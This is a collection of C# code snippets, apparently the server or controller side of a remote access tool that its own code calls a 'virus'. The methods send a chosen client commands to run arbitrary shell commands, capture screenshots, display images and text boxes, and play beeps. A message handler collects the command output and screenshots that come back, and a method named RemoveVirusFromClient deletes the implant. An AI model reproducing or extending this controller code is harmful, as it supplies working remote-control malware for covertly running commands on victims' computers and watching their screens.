/// <summary> /// Opens a textbox on the client with the provided text /// </summary> private void SendDisplayText() { TransferCommandObject returnObject = new TransferCommandObject { Command = "TextBox", Handler = handler, Value = BroadcastMessageText }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
public void CloseCMD() { TransferCommandObject returnObject = new TransferCommandObject { Command = "StopCMD", Handler = handler }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
/// <summary> /// Sends the beep command to the client /// </summary> public void SendBeep() { TransferCommandObject returnObject = new TransferCommandObject { Command = "PlayBeep", Handler = handler, Value = "800,800" }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
/// <summary> /// Sends the screenshot command to the client /// </summary> private void SendMakeScreenshot() { TransferCommandObject returnObject = new TransferCommandObject { Command = "MakeScreenshot", Handler = handler, Value = $"{_server.SelectedClient.SelectedScreen.ScreenId}" }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); }
public void SendCMDToClient() { TransferCommandObject returnObject = new TransferCommandObject { Command = "ExecuteCMD", Handler = handler, Value = CommandText }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); CommandText = ""; }
public void TestMethod1() { string testText = "adasdsada\0\0\0\0\0\0\0\0"; TransferCommandObject t = new TransferCommandObject { Command = "Login", Value = testText }; var t2 = ClientServerPipeline.BufferDeserialize(ClientServerPipeline.BufferSerialize(t)); Assert.AreEqual(t.Value, t2.Value); }
/// <summary> /// Function that sends an image to the client, displays the image and then presses f11 on the client. /// </summary> private void SendDisplayImage() { OpenFileDialog open = new OpenFileDialog(); open.Filter = "Image Files(*.png; *.jpg; *.jpeg; *.gif;)|*.png; *.jpg; *.jpeg; *.gif;"; open.Multiselect = false; open.Title = "Pick an image to send to the client"; if (open.ShowDialog() == true) { byte[] bytes = File.ReadAllBytes(open.FileName); string base64 = Convert.ToBase64String(bytes); TransferCommandObject returnObject = new TransferCommandObject { Command = "ShowImage", Handler = handler, Value = base64 }; _server.SendDataObjectToSelectedClient(Server.DataByteType.Command, ClientServerPipeline.BufferSerialize(returnObject)); } }
/// <summary> /// Called when a new message was received on any client socket. /// </summary> /// <param name="c"></param> /// <param name="model"></param> /// <param name="type"></param> private void Server_MessageReceived(Client c, TransferCommandObject model, Server.DataByteType type) { BConsole.WriteLine($"Client {c.GetName()} sent a message", ConsoleColor.DarkGray); switch (type) { case Server.DataByteType.Response: if (model.Command == "CMDResponse") { c.AddToCMDBuffer(model.Value); } else if (model.Command == "ScreenshotResponse") { ScreenshotModel screenshotObject = JsonConvert.DeserializeObject <ScreenshotModel>(model.Value); c.SetScreenshot(screenshotObject); } else if (model.Command == "ScreenList") { List <ScreenTypeModel> screenList = JsonConvert.DeserializeObject <List <ScreenTypeModel> >(model.Value); if (screenList != null) { c.SetScreenData(screenList); } } break; case Server.DataByteType.Command: if (model.Command == "Debug") { TransferCommandObject returnObject = new TransferCommandObject { Command = "PlayBeep", Handler = "Audio", Value = "200,300" }; Server.SendDataObjectToSocket(Server.DataByteType.Command, Server.GetSocketByClient(c), ClientServerPipeline.BufferSerialize(returnObject)); } break; case Server.DataByteType.Data: c.SetDataItem(model.Command, model.Value); NotifyPropertyChanged("SelectedClient.storedData"); NotifyPropertyChanged("CurrentClientName"); break; } }
/// <summary> /// Function that sends a request to the client for removing the client application from the computer. /// </summary> private void RemoveVirusFromClient() { TransferCommandObject removeVirusTransferObject = new TransferCommandObject { Command = "DeleteTask", Handler = "Task" }; var socket = ServerViewModel.Server.GetSocketByClient(this); ServerViewModel.Server.SendDataObjectToSocket(DataByteType.Command, socket, ClientServerPipeline.BufferSerialize(removeVirusTransferObject)); }